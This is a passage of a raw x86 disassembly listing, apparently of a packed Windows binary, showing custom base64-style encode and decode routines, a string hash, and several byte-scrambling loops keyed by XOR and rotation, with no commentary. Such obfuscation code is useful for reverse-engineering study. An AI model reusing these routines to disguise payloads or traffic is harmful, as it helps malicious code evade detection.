		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: MEW:00416ABAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: MEW:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41E980[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41E980[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41E980[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: MEW:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EA84
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EA84
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EA84[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: MEW:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EA98
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EA98
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EA98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EA98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


